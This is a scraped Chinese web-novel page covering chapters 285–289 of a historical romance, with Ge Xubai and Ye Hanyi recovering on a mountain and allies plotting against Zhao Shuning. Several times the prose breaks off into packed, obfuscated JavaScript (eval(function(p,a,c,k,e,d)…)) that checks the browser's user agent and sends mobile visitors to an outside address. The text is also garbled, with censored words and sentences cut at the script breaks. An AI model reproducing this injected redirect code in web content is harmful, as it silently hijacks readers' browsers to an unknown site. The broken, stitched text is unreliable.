l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415215|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然很荒谬,但世间之大,无奇不有,一切皆有可能。” 陆知苒笑了笑,“的确,一切都有可能。” 以前,她也万万没想过,自己竟能重生,这简直与天方夜谭无异。 聊到萧宝珠,蒋南笙的神色都不禁柔和下来。 她的脑子里依旧一片空白,没有半点记忆,但是听到这个名字,听到有关她的故事,自己的身体里就本能地释放出了亲近的信号。 她一定是个很好很好的朋友。 她们昨夜都没有休息,聊着聊着困意袭来,很快便昏昏沉沉的睡了过去。 此时,被众人所担心的戈叙白和叶寒衣,依旧在断云山上。 谁都没想到,他们直接折返,回到了那处沼泽林。 叶寒衣身上的毒素蔓延很快,她彻底失去了意识,后有追兵,山下亦有拦截的羌笛人,还有那藏在暗处放冷箭的黑手,戈叙白不敢冒险。 他很快做出了决定,折返回去。 沼泽林至少暂时安全。 待将她身上的毒解了,再想法子离开也不迟。 而且到那时,羌笛人定然早就从断云山撤离,他们要离开,自是轻而易举。 真正让戈叙白头疼的,是叶寒衣身上的毒。 一个精通此道的手下道:“属下去采药,但当务之急,得先把她伤处的清理干净,不可残留毒素。” 戈叙白的眉头蹙了起来。 她伤在肩头,要给她清理,多有不便。 他的手下一个个都退避三舍,最后,只得由戈叙白亲自动手。 “冒犯了。” 他解开了叶寒衣的衣裳,露出了她的肩头。 叶寒衣自小习武,面上肤色是健康的麦色,但身上的肌肤却异常雪白娇嫩,戈叙白陡然被这抹白晃了眼。 那箭伤不大,但上面却已泛起一片乌黑,在那洁白无瑕的肌肤上留下一道瑕疵。 便似美玉多了一道裂痕,令人惋惜又痛心。 这是因他而受的伤。 戈叙白心绪有些复杂。 他**时,可以眼都不眨,但此时,他拿着那把**,却迟迟下不去手。 第285章 叶寒衣打探八卦 好一会儿,他才落了刀。 真正下了刀,他的动作就很干脆利落,哪怕叶寒衣疼得闷哼出声,他也没有停下。 清理干净,飞快地敷上药,包扎好,又给她将衣裳拢好。 做完这一切,戈叙白长长吐了口气,手心上都有些冒汗。 当晚,叶寒衣发起了高热,身上忽冷忽热。 夜晚的山上温度低,她冷得身子瑟缩,不停打摆子,戈叙白脱了衣裳给她裹上,却毫无作用,她下意识地往温暖的源头靠拢,紧紧挨着戈叙白。 他浑身僵硬,一动不敢动。 就这么苦熬了一夜,直到天色渐亮,叶寒衣的体温才慢慢恢复正常,她窝在戈叙白火炉般的怀里,睡得甚是安稳。 好在,服了解**,她的情况稳定了,戈叙白终于放松心弦,合眼小憩。 叶寒衣醒来的时候,感觉肩头一阵疼痛,整个人的脑子也是昏昏沉沉的,似有千斤重。 艰难地掀开眼皮,入目便是一张毛茸茸的络腮胡子脸。 “爹……” 自己这是在哪里?难道回家了吗?怎么爹爹也在? 以前爹爹都有白胡子了,现在怎么这么黑?他返老还童了? 这么想着,她便伸手,扯了一把。 戈叙白睁开了眼睛,与叶寒衣目光对了个正着,对方手里,还拿着几根自己的胡子。 空气在这一刻静止了。 叶寒衣的眼睛瞪得圆溜溜的,脸上的表情呆滞,完全回不过神来。 戈叙白也不知该如何反应,他在意的不是那几根无关紧要的胡子,而是他们两人现在的姿势。 她还躺在自己的怀里。 “你……” 刚说了一个字,叶寒衣条件反射般地弹坐起来。 这一下起猛了,她的脑袋一阵眩晕,肩膀上也传来一阵剧痛,戈叙白赶忙身上扶了一把。 “小心,你肩上有伤。” 叶寒衣的记忆一点点复苏,也明白过来他们眼下的处境。 再想到方才自己又是喊爹,又是揪人胡子的行径,她就恨不得一头撞死。 太丢人了! 她的脸烧红了。 幸而她肤色偏黑,不甚明显。 她尴尬地扯唇一笑,“我睡糊涂了,不是有意的。” 她站定,戈叙白抽回手,退离了两步,微不可查松了口气。 “无妨。你可感觉好些了?” 叶寒衣点了点头,想说好些了,但脑袋又开始发晕,眼前开始冒金星。 戈叙白蹙眉,“看来还需要好生休养。” 叶寒衣揉着发昏的脑袋,“我中的是什么毒?” “应是蚀筋软玉散,**后会浑身酸软无力,若不及时解毒,毒性入体,也会丧命。” 好在,此毒主要是让人浑身酸软,本身毒性不算猛烈。 但当时双方正在对敌,中了此毒,便相当于变成了砧板上的鱼肉,只能任人宰割。 “太阴损了。” 戈叙白看着叶寒衣,语气虔诚,“多谢你帮我挡了这一箭。” 这本是冲着他来的,若非叶寒衣挡下来,自己只怕就要中箭。 叶寒衣半点不客气,“救命之恩,你记得要还。” 戈叙白郑重点头,“自然。” 叶寒衣问起了后来的战况,戈叙白道:“羌笛人这次损失不小,他们已然从断云山上撤离,待你休养好了,我们再离开。瑾王应当也已经成功脱险,你且安心。” 叶寒衣松了口气。 表兄若安然无事,自己回去也能向姑母交代了。 叶寒衣又问,“你认识叶家的剑法?” 先前二人交手,她使出叶家剑法时,戈叙白一眼就认了出来。 后来,她见戈叙白杀敌时用的招数,也有些叶家剑法的影子。 戈叙白也没有隐瞒,“我师父乃镇西将军,他与叶家有些渊源。” 叶寒衣立马竖起了耳朵,一副好奇的模样。 戈叙白说得言简意赅,“师父的父辈曾效命于叶家,他自幼也是在叶家长大。” 叶寒衣眼珠子都瞪圆了,“竟然如此,我竟是从未听说过。” “你是小辈,师父又早早离开了滇南,你不曾听说也正常。” 叶寒衣的眼珠子却是很快转了起来。 自小在叶家长大?那这么说,这位镇西将军,与姑母是一起长大的? 她想到了前头表兄去信,向姑母讨要的那颗阎罗笑,便是为了镇西将军讨要的。 当时,姑母怎么没说他们是故人? 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423773|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如百爪挠心般,简直好奇**。 “我听说,前不久镇西将军身中剧毒,这是怎么一回事?” 戈叙白的眸底顿时笼上寒霜。 “师父命犯小人,遭人陷害。幸得柔妃娘娘赠药,师父才能转危为安。我在此替师父多谢柔妃娘娘大义。” 叶寒衣笑了笑,“我姑母素来深明大义。” 话锋一转,她又把话头拉回谷栖山的身上,“镇西将军祖上在我们叶家手底下是做的什么?是军医吗?你别误会,我没有别的意思,只是好奇罢了。或许我曾经听说过镇西将军祖上的事迹,只是没把他们对上号,所以才想多问两句。” 她这话合情合理,戈叙白对叶家人也有天然的好感,并未多想。 “师父的祖上曾是叶家的军师。” 叶寒衣若有所思,“我听祖父提起过,叶家有一位军师,文韬武略,样样精通,还精通医理,手上有好些珍贵的方子。莫非就是他?” 戈叙白面上露出崇敬,“正是。师父的祖父在兵法和医理上都十分精通,他还留下过一个治疗内伤的方子,我此前受过一次严重的内伤,幸而师父拿出方子,助我调理,方能痊愈。” 叶寒衣的眼睛都亮了几分。 她觉得自己似是发现了什么了不得的秘密。 先前,宝珠被猛虎重伤,内伤严重,姑母便拿出了一个方子,宝珠很快就苏醒了过来。 姑母说,那方子是故人所赠。 而今看来,那位故人,很可能就是这位镇西大将军。 那颗阎罗笑,说不定也是这位镇西大将军所赠的。 所以姑母拿出来的时候才会这么爽快,半点都不心疼。 姑母与镇西大将军若只是普通旧友,她大可以直说。 但她却半个字不提,反倒令人心生疑窦。 叶寒衣还听说,镇西大将军一生未曾娶妻,也无子嗣。 他年少成名,要娶什么样的世家千金娶不到?可他却选择孑然一身,这其中原由,实在令人深思。 是她想多了吗? 待回了京城,她定要找机会在姑母跟前旁敲侧击一番。 此事不能宣之于口,但她实在是好奇,只想悄悄打探,好满足一番自己的好奇之心。 第286章 戈叙白被嫌老 戈叙白见她神色几番变化,像变戏法似的,不禁面露疑惑。 她这是怎么了?怎似中邪了似的。 注意到戈叙白看她的目光。叶寒衣才意识到自己有些失态了。 赶紧正了神色,干笑两声。 “我在想事情。” 又道:“我对镇西将军一直十分仰慕,待我们回城之后,你定要帮我引荐一二。” 戈叙白颔首,“自然。” 叶寒衣与寻常闺秀不同,她自小就被父亲和祖父带在身边,行走于军营,她对与男子相处并无忸怩之态。 方才她醒来时与戈叙白抱在一处,她也只是短暂尴尬,很快就抛诸脑后。 事从权宜,她也没少块肉,没必要计较。 叶寒衣无聊,便又与戈叙白有一搭没一搭地聊起来。 戈叙白话不多,但对叶寒衣的问题有问必答,如此一来一往间,倒是聊得颇为融洽。 叶寒衣很快将西平城经历的这几场大战的详情问了个一清二楚。 她很遗憾,“我要是早点来就好了,那我也能多杀几个羌笛人。” 戈叙白难得玩笑,“你若是想,待你好了,我们先去杀几个羌笛人再走。来都来了,总要带点东西回去,比如几个人头。” 叶寒衣:“……那还是算了,活着挺好的。” 他们这才几个人,就算自诩功夫再好,也不能到别人老巢去找事儿,那是找死。 戈叙白唇角微翘,眸底也添了几分细碎的笑意。 叶寒衣盯着他看了一会儿,戈叙白笑意一敛,正色,“怎么了?” 叶寒衣摇头,“没事。就是觉得,你笑起来挺像我爹的。” 戈叙白:…… 不说还好,一说,戈叙白就想起来,方才她一醒来就喊他爹。 方才还能说是人还迷糊,不清醒,这会儿竟然还说自己像她爹。 他真的有这么老吗? 戈叙白:“我今年方满二十。” 颇有些咬牙切齿的意味。 叶寒衣惊讶,“那你还留一把大胡子,看上去七老八十的。” 戈叙白:…… 他年纪轻,在军中即便有军功,但却显得面嫩,威望不足。 蓄须是为了抬高威望。 以往,他也只是蓄短蓄,而今胡须长那么长,是因为他已经在这断云山上窝了一个多月,根本没来得及打理。 岂料,落在她的眼里,竟是七老八十。 他磨了磨牙。 这叶家大小姐,眼神不大好。 叶寒衣也意识到自己说话太直了,轻咳一声打哈哈,“我是说你成熟稳重,远超同龄人。” 戈叙白面无表情,“多谢叶大小姐夸赞。” 叶寒衣呵呵干笑两声。 戈叙白起身,“我去找些吃的。” 说完便足间一跃,离开了沼泽林。 叶寒衣小声嘟囔,“这是生气了?我也没说错什么嘛,他那满脸大胡子的,的确七老八十。” 害她总是想到她爹。 哎,说来,她离家也有好几个月了,好想回去啊。 叶寒衣胡思乱想着,眼底不禁染上几分惆怅。 忽而感觉到自己肩上的伤处有些疼,她小心查看一番,这才发现伤处已然被包扎过了。 定是戈叙白给她包扎的。 叶寒衣没有被冒犯的不悦,也没有被看了肩头的羞窘。 如果他受了伤,又只有他俩的话,叶寒衣也会毫不犹豫扒了他的衣裳处理伤口。 在生死面前,哪有那么多忸怩。 约莫小半个时辰,叶寒衣的肚子发出了一声绵长的嗡鸣。 好饿。 戈叙白咋还没回来?没找到吃的吗? 正这么想着,人就回来了,手里拿着一只烤得焦香,滋滋流油的兔子。 叶寒衣肚子里的馋虫顿时更加汹涌,眼底都迸出了兴奋的光。 “烤兔子,你……” 她的话音戛然而止,因为她的目光定格在了眼前男人的脸上。 看身形,还是那个男人,但看脸却是完全不一样了。 方才还浓密的一把大胡子,此时被刮得一干二净,露出了一张干干净净的脸。 肤色微黑,五官立体,棱角分明,下颌流畅,整张脸便似刀削斧凿般,丰神如玉,俊美无俦。 这前后的反差叫叶寒衣看呆了。 她又认真看了一眼他的衣着和身形,没错,是他。 她暗忖,这男人以前是多么想不开,平白把这么好看的一张脸遮起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423774|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 叶寒衣的目光太过直接,眼中的惊艳也丝毫不加掩饰,戈叙白有点被取悦的自得。 此前,谷栖山也说过他蓄须太老气,戈叙白都不为所动,他并不觉得自己的胡子有什么问题。 但方才叶寒衣的那番话,一下让他觉得自己被嫌弃了,男人的自尊心和好胜心被激了起来。 他掏出**,刷刷几下就把满脸的胡子刮了个一干二净,还寻了个水源,把脸认认真真洗了个一遍。 一众手下见此,几乎惊掉了下巴。 这是他们的老大吗? 戈叙白冷眼扫过他们,众人识趣地闭嘴,半个字都没敢当着他的面说。 待他离开了,大家才开始咬耳朵。 “老大好像开屏的孔雀。” 他开屏给谁看? 除了叶寒衣,自然别无他人。 戈叙白依旧是那副面无表情的模样,将手中的烤兔往叶寒衣的面前递了递。 “发什么呆,不想吃?” 叶寒衣回神,赶忙接了过来。 “要吃,多谢。” 她给自己扭了一个兔腿,又给烤兔递了回去,“你也吃。” 戈叙白接了过来,却没有吃。 叶寒衣一边吃,一边依旧忍不住拿眼神瞟他。 看一眼,吃一口,好似在拿他下饭。 眼前的男人,的确秀色可餐,有下饭的资本。 至少她瞧着,比自己那表兄顺眼多了。 戈叙白回眸看她,与她偷觑的目光对了正着。 叶寒衣索性也不偷看了,开始大大方方地看,戈叙白反倒率先败下阵来。 “我这样很奇怪吗?” “不啊,很好看。” 叶寒衣张口便夸,夸得很大方,真心实意。 戈叙白的唇角到底是没忍住,翘了起来。 “我听表兄说,你打仗很厉害,立了不少功劳,你的威望大可以靠自己真刀**的真本事来维持,何必靠蓄须?” 听她夸赞自己,戈叙白的心情又莫名好了几分。 “你说得在理。” 谷栖山要是听了他这话,怕是眼珠子都要掉了。 自己劝时不顶用,叶寒衣三两句话,他倒是听进去了。 真是个好徒弟。 第287章 很好看,秀色可餐 叶寒衣吃完了一个兔腿,戈叙白又给她撕了一个。 “你不吃吗?” 戈叙白摇头,“还不饿。” 叶寒衣也没客气,继续大快朵颐。 两个兔腿下肚,她这才彻底满足了。 戈叙白确定她吃饱了,这才吃了起来。 叶寒衣微愣,旋即反应过来,原来他方才是先等自己吃饱了,再吃剩下的? 这男人,虽是粗人,心思倒是细腻。 叶寒衣心头对他平添几分好感。 当晚,戈叙白没有再与叶寒衣同处,他和手下一道在外围寻个地方抱臂而眠。 他还给了叶寒衣一个口哨,“若遇到危险,可吹哨喊我,我就在外头。” 叶寒衣独自一人倚在石壁上,觉得冷飕飕的。 她想到了昨夜那温暖宽厚的臂弯,还是**垫子睡得舒服啊。 叶寒衣养了一日,就提出下山。 “我的伤不严重,现在身上体力已经恢复了八成,我想尽快下山,以免夜长梦多,也怕表兄他们担忧。” 而且,这破地方她也实在待不下去了,她只想赶紧离开。 戈叙白和手下已下山打探过,羌笛人已经撤退,他们此时离开并无危险。 见叶寒衣坚持,他们便不再耽搁,立马启程。 叶寒衣的海口夸得响亮,但真正运功时却还差点意思,飞出沼泽林的时候差点没稳住,一头栽下去。 幸而戈叙白伸手揽了她一把,将她稳稳地带了出来。 平稳落地,戈叙白这才收回手。 叶寒衣有些不自在,因为方才的那番亲近,也因为自己的丢脸。 “你**未愈,不可运功,不必强撑。” 叶寒衣本还想嘴硬两句,但嘴硬了,自己就得吃苦头,她便老老实实点头了。 下山路上,她走得慢,戈叙白也没有催她,大家都跟着她的节奏走。 起先一路都很平静,没有半分异状。 但临近山脚时,忽而听到了人声,一行人立马警惕起来。 戈叙白立马派人前去查看,自己则是带着叶寒衣,一跃而起,落在了树枝上。 二人共同栖身在一个枝丫上,彼此离得很近,叶寒衣能感受到男人身上那强烈的气场。 难得的,叶寒衣有点不好意思。 虽然场合不合适,她的余光还是偷偷地往对方脸上瞟。 他长得可实在太顺眼了,这叫她如何能忍得住? 一眼,两眼,三眼…… 戈叙白转眸朝她看来,他的眸色很深,将她的神色尽收眼底。 “很好看吗?” 叶寒衣眨眨眼,“很好看啊,我没说过吗?” 戈叙白的耳根有些热了起来。 这时,前去打探的手下折返,“老大,是瑾王殿下派的人。” 二人之间那微妙的旖旎气氛瞬间消散。 叶寒衣喜道:“太好了,表兄真的没事。” 戈叙白将她从树枝上带了下来,然后很快撤离,拉开了距离。 双方人马碰头,简单交代了彼此的情况,便不再多说,加快步子往山下去。 有了萧晏辞的人马接应,戈叙白和叶寒衣的回程更加顺利,一行人很快就回到了萧晏辞的落脚之地,富绛村。 见到好端端的叶寒衣,萧晏辞和陆知苒都松了口气,叶寒衣见他们无恙,亦是如此。 目光落在戈叙白的身上,萧晏辞和陆知苒的表情都微微愣住。 几日不见,戈叙白把自己拾掇得这般齐整,不知道的,还以为他们这不是被追杀,而是去游玩了一场呢。 戈叙白顶着他们的目光,面不改色。 长得帅又不是他的错。 叶寒衣的目光落在了一张陌生面孔上,“她是谁?” 她看着蒋南笙,蒋南笙亦在看她。 陆知苒便为二人引荐,“她是蒋南笙。南笙,她是寒衣,瑾王的表妹。” 蒋南笙微笑着朝叶寒衣颔首,叶寒衣险些被自己口水呛到,眼睛也瞪得似铜铃一样大。 “是我知道的那个蒋南笙吗?” 陆知苒点头。 “没错。就是你知道的那个蒋南笙,她是女子。” 叶寒衣思绪凌乱,好半晌都没反应过来。 戈叙白眼中也浮起一抹难掩的诧异。 此前蒋南笙在城中治疫,他曾见过。 他自认自己眼力不差,但此前竟是半点都没认出对方是女子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15430720|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆知苒又简单将对方失忆之事道来,叶寒衣的表情依旧十分复杂。 蒋南笙坦然地接受着他们惊讶打量的目光。 自己以前竟能扮男人扮得如此成功,这的确是值得惊讶感叹的一件事,便是她初初听闻,也几乎惊掉下巴。 “宝珠知道此事吗?” 萧晏辞点头。 “你也知道?” 萧晏辞再次点头。 又看向陆知苒,“你也知道?” 萧晏辞也看向陆知苒,眼神同样带着疑惑。 他也想知道,陆知苒究竟知不知晓此事,又是如何知晓的。 “半年前偶然得知。” 萧晏辞听了这答案,瞬间浑身舒爽了。 原来她早就知道了南笙的身份,先前她说的那些仰慕的话,全是假的,自己那是平白吃了干醋。 叶寒衣也一下明白了,为何先前她们提到蒋南笙时,她们二人都一副打哑谜的模样,每每她拿蒋南笙打趣萧宝珠,对方也都说她们不可能。 蒋南笙是个女子,她们是好姐妹,自然不可能成亲。 叶寒衣消化了好一阵,然后朝蒋南笙竖起大拇指。 “我没佩服过谁,你算一个。早知道,当初我也该女扮男装!” 叶寒衣也一直恨自己没有生成男儿身,让她有诸多不便。 她唯一能幻想的是,自己再重新投一回胎,没想到,还有女扮男装这条路子可以走。 可恨自己认识蒋南笙太晚了,现在想效仿她也来不及了。 叶寒衣的表情几番变化,简直恨不得捶胸顿足。 萧晏辞见她那副懊恼的样子,不禁唇角直抽。 闲话过后,他们很快言归正传,开始谈正事。 将蛊虫之事的原委道来,戈叙白和叶寒衣的面色都变了,戈叙白尤甚。 他是领兵之人,对手底下的兵士俱是十分珍惜与爱重。 而这些人,竟然为了达成目的,肆意残害士兵性命,他们的良心何在? 原本,他也曾真心佩服过赵书宁的医术,而今得知真相,他只觉厌恶。 一个人能力不足,或可弥补。 但若本性便是坏的,那便是如何弥补,都无济于事。 第288章 学习她弄虚作假的本事 戈叙白沉了一口气,“我这便回去,向师父回禀此事,断不能叫她那等沽名钓誉之徒继续在人前招摇揽功。” 萧晏辞出言阻拦,“先别急,眼下大家都以为你我已然命丧羌笛人之手,既如此,我们不妨利用此事,好生谋划一番。敌明我暗,行事会方便许多。” 戈叙白并非冲动之人,他很快冷静下来。 的确,他和瑾王“**”,能让幕后之人以为自己计谋得逞,一旦得意忘形,自然更易抓住把柄。 “殿下有何安排?属下但凭吩咐。” “别急,有的是能用到你的地方。” 萧晏辞看向蒋南笙,“南笙,那蛊术,你可有破解之法?” 蒋南笙并不敢夸海口,“我与叶姑娘的侍卫交流了一番,解蛊之法倒是有了,但不曾实验过,究竟是否能成,我得试试。但我需要病人。” 萧晏辞又看向戈叙白,“戈参将,你能否在不暴露自己的前提下,把中蛊的士兵悄无声息地送来?” 戈叙白当即点头,“这不难。” 他在此地经营多年,手下心腹众多,不至于连这点小事都办不到。 “好,那劳烦你先把此事办好。” 陆知苒对他的计划生出猜测,“殿下是打算让南笙取代赵书宁,抢走她的功劳?” 萧晏辞点头,“她能抢走蒋家的功劳,南笙自然也能抢她的。她制造**,让百姓奉她为女神医,我们也可以如法炮制,让南笙取而代之。” 蒋南笙神色微顿,“我不一定能解蛊毒。” “无妨,你若能解,那再好不过,若你解不了,我们也能有其他对策。赵书宁有一点的确值得我们学习,那便是弄虚作假的本事。她能故弄玄虚,把自己的名声抬高,我们也可以。” 蒋南笙神色微松,缓缓点头。 陆知苒又道:“赵书宁敢布下这么大的局,势必不是单打独斗,她定有帮手。” 戈叙白眸色微深,“是谷兆麟,先前赵书宁能有机会拿出方子用在士兵的身上,乃他一手促成。而且,他对赵书宁还有特殊的情谊,赵书宁开口,他定会乐意为其马首是瞻。” 他与谷兆麟素来不合,上次师父**之事,谷兆麟嫌疑巨大,戈叙白对他已然没了半点情分,直接直呼其名。 陆知苒闻言眉头微挑,叶寒衣的眼珠子瞬间瞪大了。 “什么特殊的情谊?是男女之情吗?” 戈叙白点头。 他不喜说人长短,但面对几人好奇的目光,还是多说了几句。 “此前西平疫病,赵书宁立下不小功劳,谷兆麟便对她十分倾慕,甚至向师父提出求娶之意,但赵书宁拒绝了他。” 赵书宁选了楚翊安。 她宁愿给楚翊安当平妻,也不愿嫁给谷兆麟。 这番选择,狠狠地伤了谷兆麟的心,叫他颓丧过一段时日。 谷栖山为此十分恼怒,痛斥他儿女情长,不堪大用。 叶寒衣啧啧称奇,“那赵书宁都拒绝了他,另嫁他人,这位小将军怎么还愿意为她马首是瞻?我没看出来啊,那赵书宁的魅力当真不小!” 叶寒衣觉得,赵书宁也不过是中人之姿,说句托大的话,她觉得自己都比赵书宁长得好看呢,没想到竟然有人能对她如此死心塌地。 陆知苒只是短暂地意外了一下。 赵书宁的确是有些本事的,她若是想笼络住谁,总有自己的方法。 而能被她吸引的人,与她大概也是同道之人。 萧晏辞嗤之以鼻,“被一个女人牵着鼻子走的蠢货。” 这段时间他与谷兆麟也有所交道,只能说,他的运道好,被谷栖山收为养子,若不然,以他的资质,只能泯然众人。 偏偏这样一个人,心术不正,还总是自作聪明,这次,便一并料理了他。 众人商议妥当,便要散去,各自行动,蒋南笙忍不住开口。 “我能否先去给祖父看看。” 即便她已经失忆,心中也一直记挂着这件事,唯恐去晚了,祖父有个三长两短。 她不想让自己恢复记忆之后陷入后悔之中。 萧晏辞看向戈叙白, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15430721|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戈叙白却道:“此事若由师父安排最为妥当,我自己不便出面,我的人来办的话,恐分量不够,没法护蒋姑娘周全。” 赵书宁与谷兆麟是一伙的,而蒋南笙若有谷栖山撑腰,赵书宁便是想动手,也要好好斟酌一番。 戈叙白的这番提议,也表明了一个讯号,他不欲向师父隐瞒他们的计划。 他信任自己的师父,也不欲师父为他的安危忧心。 若能得知自己安全无虞,师父便能放宽心,也能安心养伤。 萧晏辞没有反对。 “此番安排的确最为妥当,我们的后续计划也需要谷将军里应外合。只是,你们师徒二人联系需得谨慎,切不可走漏了消息。” 戈叙白郑重点头,“放心,我们有自己联络的特殊法子。” 事情议定,戈叙白便不再逗留,很快去安排。 陆知苒看出她依旧担忧,出声宽慰,“南笙你且莫要太过担心,蒋老太医性情坚毅,他此行是为了给蒋家后辈挣一条活路,眼下事情发生了变故,他放不下心来,无论如何都不会让自己出事的。” 蒋家背负着这个骂名,蒋老太医便是死也不会安心。 他只要还有这么一个信念在,就不会撒手人寰。 蒋南笙闻言,稍稍放心几分。 叶寒衣也道:“知苒所言极是,你要给蒋老太医看诊,这本身也是一次打出名声的好机会,我们既然要行动,就得计划周全,一举得胜。若你贸然现身,反倒会引起赵书宁忌惮。” 这话也在理。 蒋家现在的名声,反倒会成为蒋南笙的负累,她不适合在此时公开。 但如果蒋南笙是个来历不明的医女,毫无依仗,赵书宁定会出手除掉她。 赵书宁不会容忍这么一个巨大的威胁存在。 所以,蒋南笙该以什么身份,在什么契机出现,都需要好生斟酌与安排。 这头,谷栖山重新集结人马,出城搜寻萧晏辞和戈叙白的下落。 活要见人,死要见尸,他们不能这么不明不白地**。 第289章 还活着 看着谷栖山瞬间苍老十岁的样子,谷兆麟心中升起一阵快意。 同时又有点扭曲的恼恨。 果然,在他的心里和眼里,只有戈叙白才是最重要的。 若失踪的是自己,他只怕只会骂一句自己无能。 义父也不想想,羌笛人那么恨戈叙白,定然早就将他合力围剿了。 这么多日过去,戈叙白若是还活着,也早就回来了。 义父不死心,那就去找吧,找到最后,他自然就死心了。 谷兆麟心中如此想,嘴上却是对他一再宽慰。 因为心情郁结,谷栖山的身子恢复得很慢,原本挺拔的背脊都瞬间佝偻了。 他素来不信鬼神,凡事靠自己,从不会把希望寄托在所谓神佛的身上。 但现在,他却开始夜夜祈求神佛,保佑萧晏辞和戈叙白平安。 念念不忘,必有回响。 许是他的虔诚祈祷被佛主听到了,他竟然收到了意外的好消息。 心腹匆忙入帐,脸上带着难以抑制的欣喜。 “将军,有好消息,瑾王和叙白有消息了,他们都还活着。” 他声音压得很低,但这话却似一块巨石,瞬间在他的心口激起层层涟漪。 “你,你说什么?” 谷栖山几乎不敢相信。 心腹附耳,与他低语了几句,谷栖山捂着心口,长长地吐出了一口气。 这一瞬间,他心口悬着的那块巨石彻底落了地。 好在,一切都是虚惊一场。 瑾王平安无事,他总算没有愧对故人。 叙白亦平安。 “叙白还送来了一封信。” 心腹又拿出一封信,谷栖山拆开,上面空无一字。 谷栖山取了一瓶不知名的粉末,在纸张上涂抹一番,又凑进灯烛,那上面的字这才显现了出来。 看罢,谷栖山的面色顿时笼上一层愤怒与寒霜。 他将信放在了烛火上,彻底烧毁。 他对心腹吩咐,“去帮我办一件事。” …… 蒋老太医倒下之后,身体每况愈下,所有大夫轮番上阵,都没能让他好转。 赵书宁也去给他诊了脉,最后只是摇头叹息,“恕我无能为力。” 蒋家众人见此,俱是面如死灰。 没了蒋老太医这个主心骨,他们几个儿子根本完全立不起来,他们如何能力挽狂澜,为蒋家脱罪? 根本做不到。 蒋家众人的待遇一落千丈,原本对他们客客气气的许国祯,也一下转了态度,语言间多是迁怒。 有人为此不忿,许国祯冷着脸,“你们本是戴罪之身,原先对你们礼遇有加,那是给你们体面。现在你们又酿成大祸,大将军没有命人把你们套上枷锁已是法外开恩,你们还敢有怨言?要怪,那就怪蒋老太医马失前蹄,开错了方子,害得大家都要被连累。” 许国祯十分气恼。 原本他以为靠着蒋老太医,能顺利解决疫情,自己也能捞到功劳。 但没想到,一切功亏一篑。 功劳没捞到,反倒要被牵连。 想想就窝火。 蒋家大老爷蒋鹤荣气得脸色涨红,“再怎样,我爹也是两朝元老,我爹还提携过你,而今,我蒋家不过一时落难,你竟是半分不顾念旧情?当真忘恩负义,小人行径!” 许国祯有些恼怒,当即反唇相讥。 “过往之事,再如何风光,也是过往。是你教子无方,带累蒋家,与旁人何干?与其这般指责我,不如自己好好反思反思吧。” 蒋鹤荣被堵得说不出话来。 蒋泽霖是他的嫡幼子,蒋家接连两次被问责,皆因蒋泽霖而起。 而今他在这鬼地方,过着生不如死的日子,连带着几个兄弟也对他百般迁怒,蒋鹤荣对这个儿子更是恨透了,恨不得把他拉出来鞭尸才好。 他想到了自己最有出息的庶子蒋南笙。 他是蒋家后辈中最有出息的一个,医术上完全得了老爷子的真传。 若他在的话,老爷子说不定就有救了,对这场疫病,他或许也有解决之法。 只是这种关键时候,他偏偏消失不见了! 他莫不是听说了蒋家出事,所以才趁机躲得远远的,以免受到牵连? 如此一想,蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15435922|165058||http|test|mini|href|location''.split(''|''),0,{})); () { 